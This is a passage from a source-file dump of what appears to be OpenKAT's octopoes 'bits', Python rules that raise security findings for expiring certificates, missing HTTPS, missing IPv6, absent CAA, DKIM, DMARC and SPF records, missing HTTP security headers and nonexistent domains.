    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.dns.records import DNSNSRecord\n\nBIT = BitDefinition(\n    id=\"domain-owner-verification\",\n    consumes=DNSNSRecord,\n    parameters=[],\n    module=\"bits.domain_owner_verification.domain_owner_verification\",\n)\n"
  },
  {
    "path": "octopoes/bits/domain_owner_verification/domain_owner_verification.py",
    "content": "from collections.abc import Iterator\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSNSRecord\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\nINDICATORS = [\n    \"NS1.REGISTRANT-VERIFICATION.ISPAPI.NET\",\n    \"NS2.REGISTRANT-VERIFICATION.ISPAPI.NET\",\n    \"NS3.REGISTRANT-VERIFICATION.ISPAPI.NET\",\n]\n\n\ndef run(nameserver_record: DNSNSRecord, additional_oois, config: dict[str, str]) -> Iterator[OOI]:\n    \"\"\"Checks to see if a domain has a specific set of dns servers which would indicate domain registrant verification.\n    https://support.dnsimple.com/articles/icann-domain-validation/\n    \"\"\"\n    if nameserver_record.name_server_hostname.tokenized.name.rstrip(\".\").upper() in INDICATORS:\n        finding_type = KATFindingType(id=\"KAT-DOMAIN-OWNERSHIP-PENDING\")\n        yield finding_type\n        yield Finding(\n            finding_type=finding_type.reference,\n            ooi=nameserver_record.hostname,\n            description=\"This domain requires ownership verification and is currently pending.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/expiring_certificate/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/expiring_certificate/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.certificate import X509Certificate\n\nBIT = BitDefinition(\n    id=\"expiring-certificate\",\n    consumes=X509Certificate,\n    parameters=[],\n    module=\"bits.expiring_certificate.expiring_certificate\",\n)\n"
  },
  {
    "path": "octopoes/bits/expiring_certificate/expiring_certificate.py",
    "content": "import datetime\nfrom collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.certificate import X509Certificate\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import Website\n\nTHRESHOLD = datetime.timedelta(weeks=2)\n\n\ndef run(input_ooi: X509Certificate, additional_oois: list[Website], config: dict[str, Any]) -> Iterator[OOI]:\n    # only applies to OOIs referencing the certificate\n    if input_ooi.expired:\n        ft = KATFindingType(id=\"KAT-CERTIFICATE-EXPIRED\")\n        yield ft\n        yield Finding(ooi=input_ooi.reference, finding_type=ft.reference, description=\"TLS certificate has expired\")\n\n    elif input_ooi.expires_in is not None and input_ooi.expires_in < THRESHOLD:\n        ft = KATFindingType(id=\"KAT-CERTIFICATE-EXPIRING-SOON\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference, finding_type=ft.reference, description=\"TLS certificate is expiring soon\"\n        )\n"
  },
  {
    "path": "octopoes/bits/https_availability/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/https_availability/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.network import IPAddress, IPPort\nfrom octopoes.models.ooi.web import Website\n\nBIT = BitDefinition(\n    id=\"https-availability\",\n    consumes=IPAddress,\n    parameters=[\n        BitParameterDefinition(ooi_type=IPPort, relation_path=\"address\"),\n        BitParameterDefinition(\n            ooi_type=Website, relation_path=\"ip_service.ip_port.address\"\n        ),  # we place the findings on the http websites\n    ],\n    module=\"bits.https_availability.https_availability\",\n)\n"
  },
  {
    "path": "octopoes/bits/https_availability/https_availability.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.network import IPAddress, IPPort\nfrom octopoes.models.ooi.web import Website\n\n\ndef run(input_ooi: IPAddress, additional_oois: list[IPPort | Website], config: dict[str, Any]) -> Iterator[OOI]:\n    websites = [website for website in additional_oois if isinstance(website, Website)]\n\n    open_ports = [port.port for port in additional_oois if isinstance(port, IPPort)]\n    if 80 in open_ports and 443 not in open_ports:\n        ft = KATFindingType(id=\"KAT-HTTPS-NOT-AVAILABLE\")\n        for website in websites:\n            yield Finding(\n                ooi=website.reference,\n                finding_type=ft.reference,\n                description=\"HTTP port is open, but HTTPS port is not open\",\n            )\n"
  },
  {
    "path": "octopoes/bits/https_redirect/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/https_redirect/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.web import HostnameHTTPURL, HTTPHeader\n\nBIT = BitDefinition(\n    id=\"https-redirect\",\n    consumes=HostnameHTTPURL,\n    parameters=[BitParameterDefinition(ooi_type=HTTPHeader, relation_path=\"resource.web_url\")],\n    module=\"bits.https_redirect.https_redirect\",\n)\n"
  },
  {
    "path": "octopoes/bits/https_redirect/https_redirect.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HostnameHTTPURL, HTTPHeader\n\n\ndef run(input_ooi: HostnameHTTPURL, additional_oois: list[HTTPHeader], config: dict[str, Any]) -> Iterator[OOI]:\n    header_keys = [header.key.lower() for header in additional_oois if isinstance(header, HTTPHeader)]\n\n    # only check for http urls\n    if input_ooi.scheme.value != \"http\" or not header_keys:\n        return\n\n    if \"location\" not in header_keys:\n        ft = KATFindingType(id=\"KAT-NO-HTTPS-REDIRECT\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference,\n            finding_type=ft.reference,\n            description=\"This HTTP URL may not redirect to HTTPS; 'location' was not found in HTTPHeader.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/internetnl/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/internetnl/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding\nfrom octopoes.models.ooi.web import Website\n\nBIT = BitDefinition(\n    id=\"internet-nl\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi [is Hostname]\"),  # findings on hostnames\n        BitParameterDefinition(\n            ooi_type=Finding, relation_path=\"ooi [is HTTPResource].website.hostname\"\n        ),  # findings on resources\n        BitParameterDefinition(\n            ooi_type=Finding, relation_path=\"ooi [is HTTPHeader].resource.website.hostname\"\n        ),  # findings on headers\n        BitParameterDefinition(ooi_type=Finding, relation_path=\"ooi [is Website].hostname\"),  # findings on websites\n        BitParameterDefinition(\n            ooi_type=Finding, relation_path=\"ooi [is HostnameHTTPURL].netloc\"\n        ),  # findings on weburls\n        BitParameterDefinition(ooi_type=Website, relation_path=\"hostname\"),  # only websites have to comply\n    ],\n    module=\"bits.internetnl.internetnl\",\n)\n"
  },
  {
    "path": "octopoes/bits/internetnl/internetnl.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import Website\n\n\ndef run(input_ooi: Hostname, additional_oois: list[Finding | Website], config: dict[str, Any]) -> Iterator[OOI]:\n    # only websites have to comply with the internetnl rules\n    websites = [websites for websites in additional_oois if isinstance(websites, Website)]\n    if not websites:\n        return\n\n    finding_ids = [finding.finding_type.tokenized.id for finding in additional_oois if isinstance(finding, Finding)]\n\n    result = \"\"\n    internetnl_findings = {\n        \"KAT-WEBSERVER-NO-IPV6\": \"This webserver does not have an IPv6 address\",\n        \"KAT-NAMESERVER-NO-TWO-IPV6\": \"This webserver does not have at least two nameservers with an IPv6 address\",\n        \"KAT-NO-DNSSEC\": \"This webserver is not DNSSEC signed\",\n        \"KAT-INVALID-DNSSEC\": \"The DNSSEC signature of this webserver is not valid\",\n        \"KAT-NO-HSTS\": \"This website has at least one webpage with a missing Strict-Transport-Policy header\",\n        \"KAT-NO-CSP\": \"This website has at least one webpage with a missing Content-Security-Policy header\",\n        \"KAT-NO-X-FRAME-OPTIONS\": \"This website has at least one webpage with a missing X-Frame-Options header\",\n        \"KAT-NO-X-CONTENT-TYPE-OPTIONS\": (\n            \"This website has at least one webpage with a missing X-Content-Type-Options header\"\n        ),\n        \"KAT-CSP-VULNERABILITIES\": \"This website has at least one webpage with a mis-configured CSP header\",\n        \"KAT-HSTS-VULNERABILITIES\": \"This website has at least one webpage with a mis-configured HSTS header\",\n        \"KAT-NO-CERTIFICATE\": \"This website does not have an SSL certificate\",\n        \"KAT-HTTPS-NOT-AVAILABLE\": \"HTTPS is not available for this website\",\n        \"KAT-SSL-CERT-HOSTNAME-MISMATCH\": \"The SSL certificate of this website does not match the hostname\",\n        \"KAT-HTTPS-REDIRECT\": \"This website has at least one HTTP URL that does not redirect to HTTPS\",\n    }\n\n    for finding, description in internetnl_findings.items():\n        if finding in finding_ids:\n            result += f\"{description}\\n\"\n\n    if result:\n        ft = KATFindingType(id=\"KAT-INTERNETNL\")\n        yield ft\n        f = Finding(\n            finding_type=ft.reference,\n            ooi=input_ooi.reference,\n            description=f\"This hostname has at least one website with the following finding(s): {result}\",\n        )\n        yield f\n"
  },
  {
    "path": "octopoes/bits/ipv6_nameservers/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ipv6_nameservers/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\n\nBIT = BitDefinition(\n    id=\"ipv6-on-nameservers\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DNSNSRecord, relation_path=\"name_server_hostname\"),\n        BitParameterDefinition(ooi_type=DNSAAAARecord, relation_path=\"hostname\"),\n    ],\n    module=\"bits.ipv6_nameservers.ipv6_nameservers\",\n)\n"
  },
  {
    "path": "octopoes/bits/ipv6_nameservers/ipv6_nameservers.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(hostname: Hostname, additional_oois: list[DNSAAAARecord | DNSARecord], config: dict[str, Any]) -> Iterator[OOI]:\n    dns_ns_records = [dns_ns_record for dns_ns_record in additional_oois if isinstance(dns_ns_record, DNSNSRecord)]\n    dns_aaaa_records = [\n        dns_aaaa_record for dns_aaaa_record in additional_oois if isinstance(dns_aaaa_record, DNSAAAARecord)\n    ]\n\n    if dns_aaaa_records:\n        return\n\n    for dns_ns_record in dns_ns_records:\n        finding_type = KATFindingType(id=\"KAT-NAMESERVER-NO-IPV6\")\n        yield finding_type\n        yield Finding(\n            finding_type=finding_type.reference,\n            ooi=dns_ns_record.reference,\n            description=\"This nameserver has no IPv6 address\",\n        )\n"
  },
  {
    "path": "octopoes/bits/ipv6_webservers/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/ipv6_webservers/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\n\nBIT = BitDefinition(\n    id=\"ipv6-webservers\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DNSAAAARecord, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=DNSARecord, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=DNSNSRecord, relation_path=\"name_server_hostname\"),\n    ],\n    module=\"bits.ipv6_webservers.ipv6_webservers\",\n)\n"
  },
  {
    "path": "octopoes/bits/ipv6_webservers/ipv6_webservers.py",
    "content": "from collections.abc import Iterator\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import DNSAAAARecord, DNSARecord, DNSNSRecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(\n    hostname: Hostname, additional_oois: list[DNSAAAARecord | DNSARecord | DNSNSRecord], config: dict\n) -> Iterator[OOI]:\n    dns_a_records = [dns_a_record for dns_a_record in additional_oois if isinstance(dns_a_record, DNSARecord)]\n    dns_aaaa_records = [\n        dns_aaaa_record for dns_aaaa_record in additional_oois if isinstance(dns_aaaa_record, DNSAAAARecord)\n    ]\n    dns_ns_records = [dns_ns_record for dns_ns_record in additional_oois if isinstance(dns_ns_record, DNSNSRecord)]\n\n    is_nameserver = bool(dns_ns_records)\n\n    if dns_a_records and not dns_aaaa_records and not is_nameserver:\n        finding_type = KATFindingType(id=\"KAT-WEBSERVER-NO-IPV6\")\n        yield finding_type\n        yield Finding(\n            finding_type=finding_type.reference,\n            ooi=hostname.reference,\n            description=\"There are no webservers with an IPv6 address.\",\n        )\n"
  },
  {
    "path": "octopoes/bits/missing_caa/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/missing_caa/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN, DNSCAARecord\nfrom octopoes.models.ooi.dns.zone import Hostname\n\nBIT = BitDefinition(\n    id=\"missing-caa\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DNSCAARecord, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\"),\n    ],\n    module=\"bits.missing_caa.missing_caa\",\n)\n"
  },
  {
    "path": "octopoes/bits/missing_caa/missing_caa.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nimport tldextract\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN, DNSCAARecord\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: Hostname, additional_oois: list[DNSCAARecord | NXDOMAIN], config: dict[str, Any]) -> Iterator[OOI]:\n    caa_records = [ooi for ooi in additional_oois if isinstance(ooi, DNSCAARecord)]\n    nxdomains = (ooi for ooi in additional_oois if isinstance(ooi, NXDOMAIN))\n\n    if any(nxdomains):\n        return\n    # only report finding when there is no CAA record\n    if (\n        not tldextract.extract(input_ooi.name).subdomain\n        and tldextract.extract(input_ooi.name).domain\n        and not caa_records\n    ):\n        ft = KATFindingType(id=\"KAT-NO-CAA\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference, finding_type=ft.reference, description=\"This hostname does not have a CAA record\"\n        )\n"
  },
  {
    "path": "octopoes/bits/missing_dkim/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/missing_dkim/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DKIMExists\n\nBIT = BitDefinition(\n    id=\"missing-dkim\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DKIMExists, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\"),\n    ],\n    module=\"bits.missing_dkim.missing_dkim\",\n)\n"
  },
  {
    "path": "octopoes/bits/missing_dkim/missing_dkim.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nimport tldextract\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DKIMExists\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: Hostname, additional_oois: list[DKIMExists | NXDOMAIN], config: dict[str, Any]) -> Iterator[OOI]:\n    dkim_exists = [ooi for ooi in additional_oois if isinstance(ooi, DKIMExists)]\n    nxdomains = (ooi for ooi in additional_oois if isinstance(ooi, NXDOMAIN))\n\n    if any(nxdomains):\n        return\n\n    # only report finding when there is no DKIM record\n    if (\n        not tldextract.extract(input_ooi.name).subdomain\n        and tldextract.extract(input_ooi.name).domain\n        and not dkim_exists\n    ):\n        ft = KATFindingType(id=\"KAT-NO-DKIM\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference,\n            finding_type=ft.reference,\n            description=\"This hostname does not support DKIM records\",\n        )\n"
  },
  {
    "path": "octopoes/bits/missing_dmarc/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/missing_dmarc/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DMARCTXTRecord\n\nBIT = BitDefinition(\n    id=\"missing-dmarc\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DMARCTXTRecord, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\"),\n    ],\n    module=\"bits.missing_dmarc.missing_dmarc\",\n)\n"
  },
  {
    "path": "octopoes/bits/missing_dmarc/missing_dmarc.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nimport tldextract\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DMARCTXTRecord\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: Hostname, additional_oois: list[DMARCTXTRecord | NXDOMAIN], config: dict[str, Any]) -> Iterator[OOI]:\n    dmarc_records = [ooi for ooi in additional_oois if isinstance(ooi, DMARCTXTRecord)]\n    nxdomains = (ooi for ooi in additional_oois if isinstance(ooi, NXDOMAIN))\n\n    if any(nxdomains):\n        return\n\n    # only report finding when there is no DMARC record\n    if (\n        not tldextract.extract(input_ooi.name).subdomain\n        and tldextract.extract(input_ooi.name).domain\n        and not dmarc_records\n    ):\n        ft = KATFindingType(id=\"KAT-NO-DMARC\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference, finding_type=ft.reference, description=\"This hostname does not have a DMARC record\"\n        )\n"
  },
  {
    "path": "octopoes/bits/missing_headers/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/missing_headers/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.web import HTTPHeader, HTTPResource\n\nBIT = BitDefinition(\n    id=\"missing-headers\",\n    consumes=HTTPResource,\n    parameters=[BitParameterDefinition(ooi_type=HTTPHeader, relation_path=\"resource\")],\n    module=\"bits.missing_headers.missing_headers\",\n)\n"
  },
  {
    "path": "octopoes/bits/missing_headers/missing_headers.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPHeader, HTTPResource\n\nDEPRECATED_HEADER = {\n    \"x-forwarded-host\",\n    \"x-forwarded-proto\",\n    \"x-dns-prefetch-control\",\n    \"x-forwarded-for\",\n    \"x-robots-tag\",\n    \"pragma\",\n    \"warning\",\n}\n\nXSS_CAPABLE_TYPES = [\"text/html\", \"application/xhtml+xml\", \"application/xml\", \"text/xml\", \"image/svg+xml\"]\n\n\ndef is_xss_capable(content_type: str) -> bool:\n    \"\"\"Determine if the content type indicates XSS capability.\"\"\"\n    main_type = content_type.split(\";\")[0].strip().lower()\n    return main_type in XSS_CAPABLE_TYPES\n\n\ndef run(resource: HTTPResource, additional_oois: list[HTTPHeader], config: dict[str, Any]) -> Iterator[OOI]:\n    if not additional_oois:\n        return\n\n    header_keys = [header.key.lower() for header in additional_oois]\n    headers = {header.key.lower(): header.value for header in additional_oois}\n\n    if \"location\" in header_keys:\n        return\n\n    if \"strict-transport-security\" not in header_keys and resource.reference.tokenized.web_url.scheme != \"http\":\n        ft = KATFindingType(id=\"KAT-NO-HSTS\")\n        yield ft\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header strict-transport-security is missing or not configured correctly.\",\n        )\n        yield finding\n\n    if \"content-security-policy\" not in header_keys and is_xss_capable(headers.get(\"content-type\", \"\")):\n        ft = KATFindingType(id=\"KAT-NO-CSP\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header content-security-policy is missing or not configured correctly.\",\n        )\n        yield ft\n        yield finding\n\n    if \"x-frame-options\" not in header_keys:\n        ft = KATFindingType(id=\"KAT-NO-X-FRAME-OPTIONS\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header x-frame-options is missing or not configured correctly.\",\n        )\n        yield ft\n        yield finding\n\n    if \"permissions-policy\" not in header_keys:\n        ft = KATFindingType(id=\"KAT-NO-PERMISSIONS-POLICY\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header permissions-policy is missing or not configured correctly.\",\n        )\n        yield ft\n        yield finding\n\n    if \"referrer-policy\" not in header_keys:\n        ft = KATFindingType(id=\"KAT-NO-REFERRER-POLICY\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header referrer-policy is missing or not configured correctly.\",\n        )\n        yield ft\n        yield finding\n\n    if \"x-content-type-options\" not in header_keys:\n        ft = KATFindingType(id=\"KAT-NO-X-CONTENT-TYPE-OPTIONS\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=\"Header x-content-type-options is missing or not configured correctly.\",\n        )\n        yield ft\n        yield finding\n\n    deprecated_headers = set(header_keys) & DEPRECATED_HEADER\n    if deprecated_headers:\n        ft = KATFindingType(id=\"KAT-NONSTANDARD-HEADERS\")\n        finding = Finding(\n            finding_type=ft.reference,\n            ooi=resource.reference,\n            description=f\"Nonstandard headers are used. Avoid using the following headers: \"\n            f\"{' '.join(deprecated_headers)}\",\n        )\n        yield ft\n        yield finding\n"
  },
  {
    "path": "octopoes/bits/missing_spf/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/missing_spf/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DNSSPFRecord\n\nBIT = BitDefinition(\n    id=\"missing-spf\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=DNSSPFRecord, relation_path=\"dns_txt_record.hostname\"),\n        BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\"),\n    ],\n    module=\"bits.missing_spf.missing_spf\",\n)\n"
  },
  {
    "path": "octopoes/bits/missing_spf/missing_spf.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nimport tldextract\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.email_security import DNSSPFRecord\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: Hostname, additional_oois: list[DNSSPFRecord | NXDOMAIN], config: dict[str, Any]) -> Iterator[OOI]:\n    spf_records = [ooi for ooi in additional_oois if isinstance(ooi, DNSSPFRecord)]\n    nxdomains = (ooi for ooi in additional_oois if isinstance(ooi, NXDOMAIN))\n\n    if any(nxdomains):\n        return\n    # only report finding when there is no SPF record\n    if (\n        not tldextract.extract(input_ooi.name).subdomain\n        and tldextract.extract(input_ooi.name).domain\n        and not spf_records\n    ):\n        ft = KATFindingType(id=\"KAT-NO-SPF\")\n        yield ft\n        yield Finding(\n            ooi=input_ooi.reference, finding_type=ft.reference, description=\"This hostname does not have an SPF record\"\n        )\n"
  },
  {
    "path": "octopoes/bits/nxdomain_flag/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/nxdomain_flag/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\n\nBIT = BitDefinition(\n    id=\"nxdomain-flag\",\n    consumes=Hostname,\n    parameters=[BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\")],\n    module=\"bits.nxdomain_flag.nxdomain_flag\",\n)\n"
  },
  {
    "path": "octopoes/bits/nxdomain_flag/nxdomain_flag.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\n\n\ndef run(input_ooi: Hostname, additional_oois: list[NXDOMAIN], config: dict[str, Any]) -> Iterator[OOI]:\n    if additional_oois:\n        nxdomain = KATFindingType(id=\"KAT-NXDOMAIN\")\n        yield nxdomain\n        yield Finding(\n            finding_type=nxdomain.reference, ooi=input_ooi.reference, description=\"The domain does not exist.\"\n        )\n"
  },
  {
    "path": "octopoes/bits/nxdomain_header_flag/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/nxdomain_header_flag/bit.py",
    "content": "from bits.definitions import BitDefinition, BitParameterDefinition\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.web import HTTPHeaderHostname\n\nBIT = BitDefinition(\n    id=\"nxdomain-header-flag\",\n    consumes=Hostname,\n    parameters=[\n        BitParameterDefinition(ooi_type=NXDOMAIN, relation_path=\"hostname\"),\n        BitParameterDefinition(ooi_type=HTTPHeaderHostname, relation_path=\"hostname\"),\n    ],\n    module=\"bits.nxdomain_header_flag.nxdomain_header_flag\",\n)\n"
  },
  {
    "path": "octopoes/bits/nxdomain_header_flag/nxdomain_header_flag.py",
    "content": "from collections.abc import Iterator\nfrom typing import Any\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.records import NXDOMAIN\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.findings import Finding, KATFindingType\nfrom octopoes.models.ooi.web import HTTPHeaderHostname\n\n\ndef run(\n    input_ooi: Hostname, additional_oois: list[NXDOMAIN | HTTPHeaderHostname], config: dict[str, Any]\n) -> Iterator[OOI]:\n    hostname_exists = True\n    headers = []\n    for ooi in additional_oois:\n        if isinstance(ooi, NXDOMAIN):\n            hostname_exists = False\n        if isinstance(ooi, HTTPHeaderHostname):\n            headers.append(ooi)\n\n    if not hostname_exists:\n        ft = KATFindingType(id=\"KAT-NXDOMAIN-HEADER\")\n        yield ft\n        for header in headers:\n            yield Finding(\n                ooi=header.reference,\n                finding_type=ft.reference,\n                description=\"The hostname in the HTTP header does not exist\",\n            )\n"
  },
  {
    "path": "octopoes/bits/oois_in_headers/__init__.py",
    "content": ""
  },
  {
    "path": "octopoes/bits/oois_in_headers/bit.py",
    "content": "from bits.definitions import BitDefinition\nfrom octopoes.models.ooi.web import HTTPHeader\n\nBIT = BitDefinition(\n    id=\"oois-in-headers\",\n    consumes=HTTPHeader,\n    parameters=[],\n    module=\"bits.oois_in_headers.oois_in_headers\",\n    config_ooi_relation_path=\"HTTPHeader.resource.website.hostname.network\",\n)\n"
  },
  {
    "path": "octopoes/bits/oois_in_headers/oois_in_headers.py",
    "content": "import re\nfrom collections.abc import Iterator\nfrom typing import Any\nfrom urllib.parse import parse_qs, urlencode, urljoin, urlparse, urlunparse\n\nfrom pydantic import ValidationError\n\nfrom octopoes.models import OOI\nfrom octopoes.models.ooi.dns.zone import Hostname\nfrom octopoes.models.ooi.network import Network\nfrom octopoes.models.ooi.web import URL, HTTPHeader, HTTPHeaderHostname, HTTPHeaderURL\n\n\ndef is_url(input_str):\n    result = urlparse(input_str)\n    return bool(result.scheme)\n\n\ndef get_ignored_url_params(config: dict, config_key: str, default: list) -> list[str]:\n    ignored_url_params = config.get(config_key)\n    if ignored_url_params is None:\n        return default\n    return [param.strip() for param in ignored_url_params.split(\",\")] if ignored_url_params else []\n\n\ndef remove_ignored_params(url: str, ignored_params: list[str]) -> str:\n    parsed_url = urlparse(url)\n    query_params = parse_qs(parsed_url.query)\n    if not query_params:\n        return url\n    filtered_params = {k: v for k, v in query_params.items() if k.lower() not in ignored_params}\n    new_query = urlencode(filtered_params, doseq=True)\n    new_url = urlunparse(\n        (parsed_url.scheme, parsed_url.netloc, parsed_url.path, parsed_url.params, new_query, parsed_url.fragment)\n    )\n    return new_url\n\n\ndef run(input_ooi: HTTPHeader, additional_oois: list, config: dict[str, Any]) -> Iterator[OOI]:\n    network = Network(name=input_ooi.reference.tokenized.resource.web_url.netloc.network.name)\n\n    if input_ooi.key.lower() == \"location\":\n        ignored_url_params = get_ignored_url_params(config, \"ignored_url_parameters\", [])\n        if is_url(input_ooi.value):\n            u = URL(raw=remove_ignored_params(input_ooi.value, ignored_url_params), network=network.reference)\n        else:\n            # url is not a url but a relative path\n            http_url = input_ooi.reference.tokenized.resource.web_url\n            # allow for ipaddress http urls\n            netloc = http_url.netloc.name if \"name\" in http_url.netloc.root else http_url.netloc.address\n            original_url = f\"{http_url.scheme}://{netloc}{http_url.path}\"\n            u = URL(raw=urljoin(original_url, input_ooi.value), network=network.reference)\n        yield u\n        http_header_url = HTTPHeaderURL(header=input_ooi.reference, url=u.reference)\n        yield http_header_url\n\n    if input_ooi.key.lower() == \"content-security-policy\":\n        urls_and_hostname = 